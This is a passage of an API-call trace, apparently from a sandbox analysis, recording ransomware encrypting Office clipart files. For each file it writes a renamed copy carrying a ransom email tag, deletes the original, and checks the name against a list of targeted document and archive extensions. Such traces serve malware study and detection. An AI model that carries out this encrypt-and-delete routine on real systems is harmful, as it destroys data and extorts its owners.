Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0293.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0293.607] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.607] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.608] GetLastError () returned 0x0 [0293.608] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x7e4, lpOverlapped=0x0) returned 1 [0293.641] WriteFile (in: hFile=0x530, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0293.642] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.642] WriteFile (in: hFile=0x530, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.642] SetEndOfFile (hFile=0x530) returned 1 [0293.656] CloseHandle (hObject=0x530) returned 1 [0293.657] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.657] SetEndOfFile (hFile=0x514) returned 1 [0293.660] CloseHandle (hObject=0x514) returned 1 [0293.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0293.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0293.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0293.663] lstrlenW (lpString=".doc") returned 4 [0293.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.663] lstrlenW (lpString=".docx") returned 5 [0293.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.663] lstrlenW (lpString=".pdf") returned 4 [0293.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.663] lstrlenW (lpString=".xls") returned 4 [0293.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.663] lstrlenW (lpString=".xlsx") returned 5 [0293.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.663] lstrlenW (lpString=".ppt") returned 4 [0293.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0293.663] lstrlenW (lpString=".zip") returned 4 [0293.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.663] lstrlenW (lpString=".rar") returned 4 [0293.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.663] lstrlenW (lpString=".bz2") returned 4 [0293.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.663] lstrlenW (lpString=".7z") returned 3 [0293.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0293.663] lstrlenW (lpString=".dbf") returned 4 [0293.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0293.663] lstrlenW (lpString=".1cd") returned 4 [0293.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0293.664] lstrlenW (lpString=".jpg") returned 4 [0293.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.666] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1804) returned 1 [0293.666] CloseHandle (hObject=0x528) returned 1 [0293.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0293.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0293.666] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.666] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0293.667] GetLastError () returned 0x0 [0293.667] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x70c, lpOverlapped=0x0) returned 1 [0294.186] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x710, lpOverlapped=0x0) returned 1 [0294.186] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.186] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.187] SetEndOfFile (hFile=0x514) returned 1 [0294.187] CloseHandle (hObject=0x514) returned 1 [0294.187] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.187] SetEndOfFile (hFile=0x528) returned 1 [0294.189] CloseHandle (hObject=0x528) returned 1 [0294.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0294.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0294.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0294.190] lstrlenW (lpString=".doc") returned 4 [0294.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.190] lstrlenW (lpString=".docx") returned 5 [0294.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.190] lstrlenW (lpString=".pdf") returned 4 [0294.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.190] lstrlenW (lpString=".xls") returned 4 [0294.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.190] lstrlenW (lpString=".xlsx") returned 5 [0294.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.190] lstrlenW (lpString=".ppt") returned 4 [0294.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0294.190] lstrlenW (lpString=".zip") returned 4 [0294.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.190] lstrlenW (lpString=".rar") returned 4 [0294.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.190] lstrlenW (lpString=".bz2") returned 4 [0294.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.190] lstrlenW (lpString=".7z") returned 3 [0294.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0294.190] lstrlenW (lpString=".dbf") returned 4 [0294.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0294.190] lstrlenW (lpString=".1cd") returned 4 [0294.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0294.191] lstrlenW (lpString=".jpg") returned 4 [0294.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.191] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2996) returned 1 [0294.191] CloseHandle (hObject=0x528) returned 1 [0294.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0294.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0294.192] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.192] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0294.192] GetLastError () returned 0x0 [0294.192] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xbb4, lpOverlapped=0x0) returned 1 [0294.277] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xbc0, lpOverlapped=0x0) returned 1 [0294.278] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.278] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.278] SetEndOfFile (hFile=0x514) returned 1 [0294.288] CloseHandle (hObject=0x514) returned 1 [0294.288] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.288] SetEndOfFile (hFile=0x528) returned 1 [0294.298] CloseHandle (hObject=0x528) returned 1 [0294.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0294.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0294.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0294.299] lstrlenW (lpString=".doc") returned 4 [0294.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.299] lstrlenW (lpString=".docx") returned 5 [0294.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.299] lstrlenW (lpString=".pdf") returned 4 [0294.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.299] lstrlenW (lpString=".xls") returned 4 [0294.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.299] lstrlenW (lpString=".xlsx") returned 5 [0294.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.299] lstrlenW (lpString=".ppt") returned 4 [0294.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0294.299] lstrlenW (lpString=".zip") returned 4 [0294.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.299] lstrlenW (lpString=".rar") returned 4 [0294.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.299] lstrlenW (lpString=".bz2") returned 4 [0294.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.299] lstrlenW (lpString=".7z") returned 3 [0294.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0294.299] lstrlenW (lpString=".dbf") returned 4 [0294.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0294.299] lstrlenW (lpString=".1cd") returned 4 [0294.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0294.299] lstrlenW (lpString=".jpg") returned 4 [0294.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.300] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2296) returned 1 [0294.300] CloseHandle (hObject=0x528) returned 1 [0294.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0294.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0294.300] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.301] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0294.301] GetLastError () returned 0x0 [0294.301] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x8f8, lpOverlapped=0x0) returned 1 [0294.354] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x900, lpOverlapped=0x0) returned 1 [0294.355] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.355] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.355] SetEndOfFile (hFile=0x514) returned 1 [0294.355] CloseHandle (hObject=0x514) returned 1 [0294.355] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.355] SetEndOfFile (hFile=0x528) returned 1 [0294.357] CloseHandle (hObject=0x528) returned 1 [0294.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0294.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0294.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0294.358] lstrlenW (lpString=".doc") returned 4 [0294.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.358] lstrlenW (lpString=".docx") returned 5 [0294.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.358] lstrlenW (lpString=".pdf") returned 4 [0294.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.358] lstrlenW (lpString=".xls") returned 4 [0294.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.358] lstrlenW (lpString=".xlsx") returned 5 [0294.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.358] lstrlenW (lpString=".ppt") returned 4 [0294.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0294.358] lstrlenW (lpString=".zip") returned 4 [0294.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.358] lstrlenW (lpString=".rar") returned 4 [0294.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString=".bz2") returned 4 [0294.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString=".7z") returned 3 [0294.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0294.359] lstrlenW (lpString=".dbf") returned 4 [0294.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0294.359] lstrlenW (lpString=".1cd") returned 4 [0294.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0294.359] lstrlenW (lpString=".jpg") returned 4 [0294.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.359] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2524) returned 1 [0294.359] CloseHandle (hObject=0x528) returned 1 [0294.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0294.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0294.360] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.360] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0294.360] GetLastError () returned 0x0 [0294.360] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x9dc, lpOverlapped=0x0) returned 1 [0294.445] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x9e0, lpOverlapped=0x0) returned 1 [0294.446] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.446] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.446] SetEndOfFile (hFile=0x514) returned 1 [0294.462] CloseHandle 